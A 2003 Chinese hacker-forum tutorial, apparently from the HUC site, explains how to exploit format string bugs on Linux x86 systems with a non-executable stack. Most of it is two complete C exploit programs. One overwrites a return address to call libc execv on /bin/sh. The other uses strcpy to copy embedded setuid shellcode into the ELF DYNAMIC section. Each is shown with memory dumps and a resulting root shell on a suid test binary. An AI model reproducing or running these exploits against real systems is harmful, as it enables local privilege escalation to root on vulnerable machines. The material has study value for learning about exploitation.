快速通道

文档分类
- 红盟公告
- 新手上路
- 漏洞分析
- 工具介绍
- 安全配置
- 编程技术
- **安全技术** <=
- 业界动态

本类热门
- 如何利用黑客技术跟踪并分析一名目标人物
- 有关无线安全与黑客的话题
- 让我们回归(by 默难)
- 通用ShellCode深入剖析[转]
- Format String 漏洞介绍/总结(一)
- 结合实例解读ELF文件-阅读笔记(1)

Format String 漏洞介绍/总结(五)

提交文章： bkbll
提交日期： 2003-07-28
文章属性： 原创
文档类别： 安全技术
浏览次数： 今1次/总2422次

Format String 漏洞介绍/总结(五)
Bkbll(bkbll@cnhonker.net)
2003-6-10
4.关于 format string漏洞在non-exec stack linux x86上的应用.
这里不特指使用了哪些non-exec stack补丁的系统, 我们的利用目的就是让我们的代码执行起来, 利用的方法可以有以下两种:
1. 利用execv 直接执行我们的代码, 这样避免了代码是在堆栈里执行的情况了.
2. 利用strcpy等将代码段或者shellcode拷贝到可写而且可执行的数据段里面.
3. 高级利用技术, 请参阅Phrack文摘.
当然还有其他好几种方法, 1,2比较容易理解点, 这里就1和2做出解释.
参考vuln程序还是利用前面几章介绍的代码.
(1) 利用execv执行我们的代码.
我们来看execv的函数执行格式:
$man execv
EXEC(3) Linux Programmer's Manual EXEC(3)

NAME
execl, execlp, execle, execv, execvp - execute a file

SYNOPSIS
#include <unistd.h>

extern char **environ;

int execl(const char *path, const char *arg, ...);
int execlp(const char *file, const char *arg, ...);
int execle(const char *path, const char *arg , ..., char * const envp[]);
int execv(const char *path, char *const argv[]);
int execvp(const char *file, char *const argv[]);

DESCRIPTION
从man page里面也可以知道为什么我们选用execv而不是用其他的execl,execlp等函数,或者system函数等,原因有几个:
a) execl,execlp函数最后面必须要有NULL结束, 等于就是0, 在format string里面想写入0到某个地址比较困难
b) execl,exclp等函数参数太多, 给我们构造format string带来了麻烦.
c) 为什么不用system呢? 从system的man page可以看出,system调用外部命令的方式是用/bin/sh -c , 对于一个具有suid的程序来说,bash 2版本不会加载suid权限为的, 除非我们给-p参数给他,也就是说除非使用/bin/sh -cp的方式调用才可以. 但system已经做死了, 所以不予考虑.虽然构造字符比较简单.

这里我们采用execv函数, 因为我们要在execv函数运行时候需要执行我们的参数, 所以写.dtors等方法不是很使用, 因为$esp的变动可能会影响我们的数据. 那我们就采用写函数的返回地址吧.
我们首先要知道几个地址:
a) execv在libc.so中的地址
b) 函数的返回地址
c) 我们的字符串在内存中的地址.
a,b, c等都可以轻松获得:
[bkbll@mobile test]$ objdump -x /lib/i686/libc.so.6 |grep execv
34 .gnu.warning.fexecve 00000039 00000000 00000000 0012a900 2**5
00000000 l O .gnu.warning.fexecve 00000039 __evoke_link_warning_fexecve
420ae650 l F .text 00000067 __execve
420ae9d0 l F .text 000002fc .hidden __GI_execvp
00000000 l d .gnu.warning.fexecve 00000000
420ae650 w F .text 00000067 execve
420ae6c0 g F .text 0000004d fexecve
420ae710 g F .text 00000039 execv
420ae9d0 g F .text 000002fc execvp

execv函数地址是0x 420ae710
我们来看看函数执行的时候返回地址在内存中存放的位置:
low addr----------------------------------> high addr
[ret addr][arg][arg][xxxxxxxxxxxxxxxxxxxxxxx] :xxxx是我们不关心的数据
我们来看一看函数从leave 到ret指令的时候,esp和eip是怎么变化的:
0x80485c9 <foo+57>: add $0x10,%esp
0x80485cc <foo+60>: leave
0x80485cd <foo+61>: ret
Breakpoint 4, foo (
line=0xbffff6a0 "/* write to foo function return address and esp\n")
at vuln.c:57
57 }
(gdb) i reg eip
eip 0x80485cc 0x80485cc
(gdb) i reg esp
esp 0xbffff680 0xbffff680
(gdb) ni
0x080485cd in foo (line=0x2 <Address 0x2 out of bounds>) at vuln.c:57
57 }
(gdb) i reg eip esp
eip 0x80485cd 0x80485cd
esp 0xbffff68c 0xbffff68c
/* leave指令:eip 指向下一个要执行的地址,esp+12 */
(gdb) ni
0x08048583 in main (argc=2, argv=0xbffffb04) at vuln.c:44
44 foo (line);
(gdb) i reg eip esp
eip 0x8048583 0x8048583
esp 0xbffff690 0xbffff690
/* 要从函数返回了,eip指向函数的返回地址,就是前面的ret addr */
/* esp=esp+4; */
注意,这里的esp=(原来的ret addr) +4,
也就是说,如果我们改变程序流程的话, 让eip指向我们的函数,那么这个时候内存应该是这个样子:
low addr --> high addr
[new function] [arg][arg][arg] [xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx]
↑ $eip ↑$esp
跳到新函数地址后:
low addr ----------------------------------> high addr
[ret addr][arg][arg][arg][xxxxxxxxxxxxxxxxxxxxx]
↑$esp
也就是说原来的$esp+4成了调用我们函数的新返回地址 /* 这个在后面讨论strcpy调用的时候有用 */
由于我们的execv函数是没有返回的,也就是说这个地址没有必要构造, 而我们的execv有两个参数:(const char *path, char *const argv[])
所以在这里,我们需要写入三个地址:
[ret addr] [ret addr+8] [retaddr+8+4]
假设我们想执行/bin/sh -ip的话, 那么
char *path="/bin/sh",
而char argv[]应该是:{"/bin/sh","-ip",NULL}
假设我们的"/bin/sh"字符的地址是:_bin_sh_addr,
我们可以这样构造字符串:

"/bin/sh\x00-ip\x00"
这个时候字符串"-ip"的地址应该是:_ip_addr=_bin_sh_addr+strlen("/bin/sh")+1;
这个时候我们可以来构造argv结构:
[_bin_sh_addr][_ip_addr][0x00000000]
↑argv addr
合并一下, 将"/bin/sh\x00-ip\x00"写在后面,就是:
[_bin_sh_addr][_ip_addr][0x00000000][somepad] "/bin/sh\x00-ip\x00"
注:这里的somepad可以为0,也可以为某些其他字符,没什么用途, 但是在某些特殊系统可能有用^^.
那么我们可以计算arg的地址 :):
_argv_addr=_bin_sh_addr-somepad-4*3
这个时候地址构造就全部出来了, 现在剩下的就是_bin_sh_addr的地址确定, 绝对地址虽然比较难确定, 但和我们字符串开头的地址还是比较容易确定的:) 构造好后可以搜索内存或者用变量统计就可以计算得出:)
这个时候我们需要把下面几个地址写进堆栈里面:
execv函数的地址 写进 函数返回地址
_bin_sh_addr 写进 函数返回地址+8
_argv_addr 写进 函数返回地址+8+4
我们可以手工模拟一下大概数据计算, 并且根据大小排列一下:
假设_bin_sh_addr在0xbffff780, somepad=0,那么argv addr=0xbffff780-12=0xbffff774
要写的数据:
0x420ae710 0xbffff780 0xbffff774
分别按16位拆开:
0x420a<0xbfff<0xe710<0xf774<0xf780
num1 num2 num3 num4 num5
再来看一下数据的构成(按照高位在后的原则:)
0x420ae710 0xbffff780 0xbffff774
num3 num1 num5 num2 num4 num2
假设第一个要写的数据地址是pad个间隔(从数据开始地址到函数返回地址):
那么上面可以重新排列一下:
0x420ae710 0xbffff780 0xbffff774
num3 num1 num5 num2 num4 num5
pad pad+1 pad+2 pad+3 pad+4 pad+5
好,我们可以构造一下数据:
假设我们在输出num1的前面还输出了j 个字节的内容,那么应该是这样:
num1-j 写到 pad+1处
num2-num1 写到 pad+3,pad+5处,
num3-num2 写到 pad处
num4-num3 写到 pad+4处
num5-num4 写到 pad+2处.
最后,我们构造的格式化字符串应该是这样的:
sprintf(buffer,"%%%dp%%%d$hn%%%dp%%%d$hn%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn",num1-j,pad+1,num2-num1,pad+3,pad+5,num3-num2,pad,num4-num3,pad+4,num5-num4,pad+2);
最后就可以给出我们的exploit了:

```
/* write to foo function return address and esp
* use execv for getting shell in the non-exec stack system
* coded by bkbll(bkbll@cnhokenr.net)
*/
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define want_write_addr 0xbffff6ac //foo return address
//#define want_write_addr2 0xbffff684 //esp address
#define pad 12 //pop esp value
#define allstraddr 0xbffff6c0 // string addr:for gdb is 0xbffff6a0,for prog:0xbffff6c0
#define execv_call_addr 0x420ae710 //objdump -x /lib/i686/libc.so.6 |grep execv
#define BUFSIZE 200
char shellcode[]=
"/bin/sh\x00-ip\x00";
char *file="./4";
main(int argc,char **argv)
{

char buffer[BUFSIZE];
int j=0,i=0;
int shell_addr_pad=80;
```

```
int somechar=0;
int want_write_addr2 = want_write_addr+8;
int want_write_addr3 = want_write_addr+8+4;
int argvaddr; //= _bin_shaddr-somechar-4*3;
int _ip_addr; //= _bin_shaddr+strlen("/bin/sh")+1;
int fd;
int num1,num2,num3,num4,num5;
int _bin_shaddr=0xbffff6b0;
int distance=95+0x00;
memset(buffer,0,BUFSIZE);
buffer[BUFSIZE-1]=0;
if(argc>1) distance=atoi(argv[1]);
_bin_shaddr=allstraddr+distance;
argvaddr = _bin_shaddr-somechar-4*3;
_ip_addr = _bin_shaddr+strlen("/bin/sh")+1;

num1=(execv_call_addr >>16) & 0xffff;
num3=(execv_call_addr) & 0xffff;
num2=(_bin_shaddr >>16) & 0xffff;
num4=(argvaddr) & 0xffff;
num5=(_bin_shaddr) & 0xffff;
fprintf(stderr,"num1:%#x,num2:%#x,num3:%#x,num4:%#x,num5:%
#x\n",num1,num2,num3,num4,num5);
//ensure num4>num3>num2>num1
fprintf(stderr,"_bin_sh addr:%#x\n",_bin_shaddr);
//j=sprintf(buffer,"%s",want_write_addr);
/* pad */
buffer[0]=want_write_addr & 0xff;
buffer[1]=(want_write_addr >> 8 ) & 0xff;
buffer[2]=(want_write_addr >> 16 ) & 0xff;
buffer[3]=(want_write_addr >> 24 ) & 0xff;
//j+=sprintf(buffer+j,"%s",want_write_addr+2);
/* pad+1 */
buffer[4]=((want_write_addr+2)) & 0xff;
buffer[5]=((want_write_addr+2)>>8) & 0xff;
buffer[6]=((want_write_addr+2)>>16) & 0xff;
buffer[7]=((want_write_addr+2)>>24) & 0xff;
/* pad+2 */
buffer[8]=((want_write_addr2)) & 0xff;
buffer[9]=((want_write_addr2)>>8) & 0xff;
buffer[10]=((want_write_addr2)>>16) & 0xff;
buffer[11]=((want_write_addr2)>>24) & 0xff;
/* pad+3 */
buffer[12]=((want_write_addr2+2)) & 0xff;
buffer[13]=((want_write_addr2+2)>>8) & 0xff;
buffer[14]=((want_write_addr2+2)>>16) & 0xff;
buffer[15]=((want_write_addr2+2)>>24) & 0xff;

/* pad+4 */
buffer[16]=((want_write_addr3)) & 0xff;
buffer[17]=((want_write_addr3)>>8) & 0xff;
buffer[18]=((want_write_addr3)>>16) & 0xff;
buffer[19]=((want_write_addr3)>>24) & 0xff;
/* pad+5 */
buffer[20]=((want_write_addr3+2)) & 0xff;
buffer[21]=((want_write_addr3+2)>>8) & 0xff;
buffer[22]=((want_write_addr3+2)>>16) & 0xff;
buffer[23]=((want_write_addr3+2)>>24) & 0xff;


j=8*3;
j+=sprintf(buffer+j,"%%%dp%%%d$hn%%%dp%%%d$hn%%%d$hn%%%dp%%%
d$hn%%%dp%%%d$hn%%%dp%%%d$hn",num1-j,pad+1,num2-
num1,pad+3,pad+5,num3-num2,pad,num4-num3,pad+4,num5-num4,pad+2);
//fprintf(stderr,"j=%d\r\n",j);
/* arg addr */
j++;
buffer[j++]=argvaddr & 0xff;
buffer[j++]=(argvaddr >>8) & 0xff;
buffer[j++]=(argvaddr >>16) & 0xff;
buffer[j++]=(argvaddr >>24) & 0xff;
```

```
// /bin/sh addr
buffer[j++]=_bin_shaddr & 0xff;
buffer[j++]=(_bin_shaddr >>8) & 0xff;
buffer[j++]=(_bin_shaddr >>16) & 0xff;
buffer[j++]=(_bin_shaddr >>24) & 0xff;
// _ip_addr addr
buffer[j++]=_ip_addr & 0xff;
buffer[j++]=(_ip_addr >>8) & 0xff;
buffer[j++]=(_ip_addr >>16) & 0xff;
buffer[j++]=(_ip_addr >>24) & 0xff;
// NULL
buffer[j++]=0;
buffer[j++]=0;
buffer[j++]=0;
buffer[j++]=0;

// "/bin/sh" string
j+=sprintf(buffer+j,"/bin/sh");

/* 这里有两种方法计算距离*/
/* 第一种用j就可以了*/

fprintf(stderr,"caculate the distance from buffer+0 to \"/bin/sh\" addr:%d\r\n",j-strlen
("/bin/sh"));
/*这里是搜索内存*/
while(1)
{

if(i%16==0)
{
printf("\r\n%p: ",buffer+i);
}
printf("%3.2x",buffer[i] & 0xff);
if((buffer[i]=='/') && (buffer[i+1]=='b') && (buffer[i+2]=='i'))
{
printf("\r\nGot it,distance:%d,%s\r\n",i,buffer+i);
break;
}
i++;
}
buffer[j++]=0;
j+=sprintf(buffer+j,"-ip");

if(j>=1024) {printf("please realloc buffer to %d\n",j+1);exit(0);}

/* write to file */
if((fd=open(file,O_CREAT|O_RDWR|O_TRUNC,0777))<0)
{
perror("write to file error");
exit(0);
}
write(fd,buffer,200);
close(fd);

printf("ok,write down\n");

}
```

我们来试一下:

```
[bkbll@mobile fmtxp_lib]$ gcc -o x4 x4.c
[bkbll@mobile fmtxp_lib]$ ./x4
num1:0x420a,num2:0xbfff,num3:0xe710,num4:0xf713,num5:0xf71f
_bin_sh addr:0xbffff71f
caculate the distance from buffer+0 to "/bin/sh" addr:108

0xbffffa10: ac f6 ff bf ae f6 ff bf b4 f6 ff bf b6 f6 ff bf
0xbffffa20: b8 f6 ff bf ba f6 ff bf 25 31 36 38 38 32 70 25
0xbffffa30: 31 33 24 68 6e 25 33 32 32 34 35 70 25 31 35 24
0xbffffa40: 68 6e 25 31 37 24 68 6e 25 31 30 30 30 31 70 25
0xbffffa50: 31 32 24 68 6e 25 34 30 39 39 70 25 31 36 24 68
0xbffffa60: 6e 25 31 32 70 25 31 34 24 68 6e 00 13 f7 ff bf
0xbffffa70: 1f f7 ff bf 27 f7 ff bf 00 00 00 00 2f
Got it,distance:108,/bin/sh
```

ok,write down
[bkbll@mobile fmtxp_lib]$
两种方法都计算出来了/bin/sh到顶端的距离是108, 我们加上108就可以得到_bin_sh_addr了:
[bkbll@mobile fmtxp_lib]$ ./x4 108
num1:0x420a,num2:0xbfff,num3:0xe710,num4:0xf720,num5:0xf72c
_bin_sh addr:0xbffff72c
caculate the distance from buffer+0 to "/bin/sh" addr:108

0xbffffa00: ac f6 ff bf ae f6 ff bf b4 f6 ff bf b6 f6 ff bf
0xbffffa10: b8 f6 ff bf ba f6 ff bf 25 31 36 38 38 32 70 25
0xbffffa20: 31 33 24 68 6e 25 33 32 32 34 35 70 25 31 35 24
0xbffffa30: 68 6e 25 31 37 24 68 6e 25 31 30 30 30 31 70 25
0xbffffa40: 31 32 24 68 6e 25 34 31 31 32 70 25 31 36 24 68
0xbffffa50: 6e 25 31 32 70 25 31 34 24 68 6e 00 20 f7 ff bf
0xbffffa60: 2c f7 ff bf 34 f7 ff bf 00 00 00 00 2f
Got it,distance:108,/bin/sh
ok,write down
[bkbll@mobile fmtxp_lib]$
看看效果如何:
[bkbll@mobile fmtxp_lib]$ ls -l vuln
-rwsr-xr-x 1 root root 19283 6月 7 18:31 vuln /*便于测试,给了suid root */
[bkbll@mobile fmtxp_lib]$./vuln 4

/* some extra char */
sh-2.05b# id
uid=500(bkbll) gid=500(bkbll) euid=0(root) groups=500(bkbll)
sh-2.05b#

ok,可以了.

(2) 利用strcpy
虽然限制了我们不能在堆栈中运行程序,但是我们总可以找到即可写又可以运行的地方吧?;)
elf文件中的DYNAMIC区是个不错的选择:
[bkbll@mobile fmtxp_lib]$ objdump -p vuln

vuln: file format elf32-i386

Program Header:
PHDR off 0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
filesz 0x000000c0 memsz 0x000000c0 flags r-x
INTERP off 0x000000f4 vaddr 0x080480f4 paddr 0x080480f4 align 2**0
filesz 0x00000013 memsz 0x00000013 flags r--
LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
filesz 0x0000066f memsz 0x0000066f flags r-x
LOAD off 0x00000670 vaddr 0x08049670 paddr 0x08049670 align 2**12
filesz 0x00000114 memsz 0x0000011c flags rw-
DYNAMIC off 0x00000680 vaddr 0x08049680 paddr 0x08049680 align 2**2
filesz 0x000000c8 memsz 0x000000c8 flags rw- /*虽然这里没标明x,但的确可运行*/
NOTE off 0x00000108 vaddr 0x08048108 paddr 0x08048108 align 2**2
filesz 0x00000020 memsz 0x00000020 flags r--

Dynamic Section:
NEEDED libc.so.6
INIT 0x80482f8
FINI 0x80485f4
HASH 0x8048128
STRTAB 0x8048204
SYMTAB 0x8048164
STRSZ 0x6f
SYMENT 0x10
DEBUG 0x0
PLTGOT 0x804975c
PLTRELSZ 0x30
PLTREL 0x11
JMPREL 0x80482c8
REL 0x80482b8
RELSZ 0x10
RELENT 0x8
VERNEED 0x8048288
VERNEEDNUM 0x1
VERSYM 0x8048274

Version References:
required from libc.so.6:
0x0d696911 0x00 03 GLIBC_2.1
0x0d696910 0x00 02 GLIBC_2.0

就用这个地址了.
和用execv思路差不多, 我们需要改写的四个地址:
low addr ----------> high addr
[ret addr][ret addr+4][ret addr+8][ret addr+12][xxxxxxxxxxxxxxxxxxxx]
改写成:
low addr ----------> high addr
[strcpy function addr] [dest addr] [dest addr] [src addr] [xxxxxxxxxxxxxxx]
从前面讨论可以知道, 第一个dest addr是strcpy函数的返回的地址,而第二个dest addr则是strcpy的第一个参数,src addr是strcpy的第二个参数,所以需要连续写两个 dest addr :)
我们需要写的数据(假设shellcode addr=0xbffff78c):
strcpy 的地址 0x42079da0 写入到 [ret addr]
dest addr 的地址0x08049680 写入到[ret addr+4]
dest addr 的地址0x08049680 写入到[ret addr+8]
src addr 的地址 0xbffff78c 写入到[ret addr+12]
我们来精心构造格式化字符串:
0x0804<0x4207<0x9680<0x9da0<0xbfff<0xf78c
num1 num2 num3 num4 num5 num6
按16位(%hn格式)分开:
0x42079da0 0x08049680 0x08049680 0xbffff78c
num4 num2 num3 num1 num3 num1 num6 num5
pad pad+1 pad+2 pad+3 pad+4 pad+5 pad+6 pad+7
那么最后可以得到:
sprintf(buffer,"%%%dp%%%d$hn%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn",num1-j,pad+3,pad+5,num2-num1,pad+1,num3-num2,pad+2,pad+4,num4-num3,pad,num5-num4,pad+7,num6-num5,pad+6);
最终buffer就是我们要的结果.
我们可以得到exploit程序如下:

```
/* write to foo function return address and esp
* use strcpy for getting shell in the non-exec stack system
* coded by bkbll(bkbll@cnhokenr.net)
*/
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define want_write_addr 0xbffff6ac //foo return address:for gdb is 0xbffff68c,for prog=0xbffff6ac;
//#define want_write_addr2 0xbffff684 //esp address
#define pad 12 //pop esp value
#define allstraddr 0xbffff6c0 // string addr:for gdb is 0xbffff6a0,for prog:0xbffff6c0
#define dynamic_addr 0x08049680 //objdump -p ./vuln |grep DYNAMIC
#define strcpy_addr 0x42079da0 //$ objdump -x /lib/i686/libc.so.6 |grep strcpy

#define BUFSIZE 200
char shellcode[]=
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80"
"\x31\xc0\x50\x50\xb0\xb5\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char *file="./5";
main(int argc,char **argv)
{

char buffer[BUFSIZE];
int j=0,i=0;
int shell_addr_pad=80;
int somechar=0;
int want_write_addr2 = want_write_addr+4;
int want_write_addr3 = want_write_addr+4+4;
int want_write_addr4 = want_write_addr+4+4+4;
```

```
int fd;
int num1,num2,num3,num4,num5,num6;
int _bin_shaddr=0xbffff6b0;
int distance=95+0x00;
memset(buffer,0,BUFSIZE);
buffer[BUFSIZE-1]=0;
if(argc>1) distance=atoi(argv[1]);
_bin_shaddr=allstraddr+distance;

num1=(dynamic_addr >>16) & 0xffff;
num3=(dynamic_addr) & 0xffff;
num2=(strcpy_addr >>16) & 0xffff;
num4=(strcpy_addr) & 0xffff;
num6=(_bin_shaddr) & 0xffff;
num5=(_bin_shaddr >>16) & 0xffff;
fprintf(stderr,"num1:%#x,num2:%#x,num3:%#x,num4:%#x,num5:%#x,num6:%
#x\n",num1,num2,num3,num4,num5,num6);

fprintf(stderr,"shellcode addr:%#x\n",_bin_shaddr);
/* pad */
buffer[0]=want_write_addr & 0xff;
buffer[1]=(want_write_addr >> 8 ) & 0xff;
buffer[2]=(want_write_addr >> 16 ) & 0xff;
buffer[3]=(want_write_addr >> 24 ) & 0xff;
//j+=sprintf(buffer+j,"%s",want_write_addr+2);
/* pad+1 */
buffer[4]=((want_write_addr+2)) & 0xff;
buffer[5]=((want_write_addr+2)>>8) & 0xff;
buffer[6]=((want_write_addr+2)>>16) & 0xff;
buffer[7]=((want_write_addr+2)>>24) & 0xff;
/* pad+2 */
buffer[8]=((want_write_addr2)) & 0xff;
buffer[9]=((want_write_addr2)>>8) & 0xff;
buffer[10]=((want_write_addr2)>>16) & 0xff;
buffer[11]=((want_write_addr2)>>24) & 0xff;
/* pad+3 */
buffer[12]=((want_write_addr2+2)) & 0xff;
buffer[13]=((want_write_addr2+2)>>8) & 0xff;
buffer[14]=((want_write_addr2+2)>>16) & 0xff;
buffer[15]=((want_write_addr2+2)>>24) & 0xff;

/* pad+4 */
buffer[16]=((want_write_addr3)) & 0xff;
buffer[17]=((want_write_addr3)>>8) & 0xff;
buffer[18]=((want_write_addr3)>>16) & 0xff;
buffer[19]=((want_write_addr3)>>24) & 0xff;
/* pad+5 */
buffer[20]=((want_write_addr3+2)) & 0xff;
buffer[21]=((want_write_addr3+2)>>8) & 0xff;
buffer[22]=((want_write_addr3+2)>>16) & 0xff;
buffer[23]=((want_write_addr3+2)>>24) & 0xff;

/* pad+6 */
buffer[24]=((want_write_addr4)) & 0xff;
buffer[25]=((want_write_addr4)>>8) & 0xff;
buffer[26]=((want_write_addr4)>>16) & 0xff;
buffer[27]=((want_write_addr4)>>24) & 0xff;
/* pad+7 */
buffer[28]=((want_write_addr4+2)) & 0xff;
buffer[29]=((want_write_addr4+2)>>8) & 0xff;
buffer[30]=((want_write_addr4+2)>>16) & 0xff;
buffer[31]=((want_write_addr4+2)>>24) & 0xff;

j=4*8;
j+=sprintf(buffer+j,"%%%dp%%%d$hn%%%d$hn%%%dp%%%d$hn%%%dp%%%
d$hn%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn%%%dp%%%d$hn",
num1-j,pad+3,pad+5,num2-num1,pad+1,num3-num2,pad+2,pad+4,num4-
num3,pad,num5-num4,pad+7,num6-num5,pad+6);
j++;
j+=sprintf(buffer+j,"%s",shellcode);
```

```
while(1)
{

if(i%16==0)
{
printf("\r\n%p: ",buffer+i);
}
printf("%3.2x",buffer[i] & 0xff);
//break;
if((buffer[i]=='\x31') && (buffer[i+1]=='\xdb') && (buffer[i+2]=='\x89'))
{
printf("\r\nGot it,distance:%d\r\n",i);
break;
}
i++;
}

buffer[j++]=0;
if(j>=1024) {printf("please realloc buffer to %d\n",j+1);exit(0);}

/* write to file */
if((fd=open(file,O_CREAT|O_RDWR|O_TRUNC,0777))<0)
{
perror("write to file error");
exit(0);
}
write(fd,buffer,200);
close(fd);
printf("ok,write down\n");

}
```
运行一下:
```
[bkbll@mobile fmtxp_lib]$ gcc -o x5 x5.c
[bkbll@mobile fmtxp_lib]$ ./x5
num1:0x804,num2:0x4207,num3:0x9680,num4:0x9da0,num5:0xbfff,num6:0xf71f
shellcode addr:0xbffff71f

0xbffffa10: ac f6 ff bf ae f6 ff bf b0 f6 ff bf b2 f6 ff bf
0xbffffa20: b4 f6 ff bf b6 f6 ff bf b8 f6 ff bf ba f6 ff bf
0xbffffa30: 25 32 30 32 30 70 25 31 35 24 68 6e 25 31 37 24
0xbffffa40: 68 6e 25 31 34 38 35 31 70 25 31 33 24 68 6e 25
0xbffffa50: 32 31 36 32 35 70 25 31 34 24 68 6e 25 31 36 24
0xbffffa60: 68 6e 25 31 38 32 34 70 25 31 32 24 68 6e 25 38
0xbffffa70: 37 39 39 70 25 31 39 24 68 6e 25 31 34 31 31 32
0xbffffa80: 70 25 31 38 24 68 6e 00 31
Got it,distance:120
ok,write down
/* 这个时候距离是120 */
[bkbll@mobile fmtxp_lib]$ ./x5 120
num1:0x804,num2:0x4207,num3:0x9680,num4:0x9da0,num5:0xbfff,num6:0xf738
shellcode addr:0xbffff738

0xbffffa00: ac f6 ff bf ae f6 ff bf b0 f6 ff bf b2 f6 ff bf
0xbffffa10: b4 f6 ff bf b6 f6 ff bf b8 f6 ff bf ba f6 ff bf
0xbffffa20: 25 32 30 32 30 70 25 31 35 24 68 6e 25 31 37 24
0xbffffa30: 68 6e 25 31 34 38 35 31 70 25 31 33 24 68 6e 25
0xbffffa40: 32 31 36 32 35 70 25 31 34 24 68 6e 25 31 36 24
0xbffffa50: 68 6e 25 31 38 32 34 70 25 31 32 24 68 6e 25 38
0xbffffa60: 37 39 39 70 25 31 39 24 68 6e 25 31 34 31 33 37
0xbffffa70: 70 25 31 38 24 68 6e 00 31
Got it,distance:120
ok,write down
[bkbll@mobile fmtxp_lib]$
```
测试一下:
```
[bkbll@mobile fmtxp_lib]$./vuln 5

/* some extra codes */

sh-2.05b# id
uid=0(root) gid=500(bkbll) groups=500(bkbll)
sh-2.05b#
```
同样可以成功..

说明:上述代码只是给出了思路, 但环境有限, 代码调试并没有在non-exec stack system中运行过. 具体成功与否,还需要您来信告诉我:)

Coded by :bkbll(bkbll@cnhonker.net)

返回上页

Copyright © 2000-2004 **HUC** All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net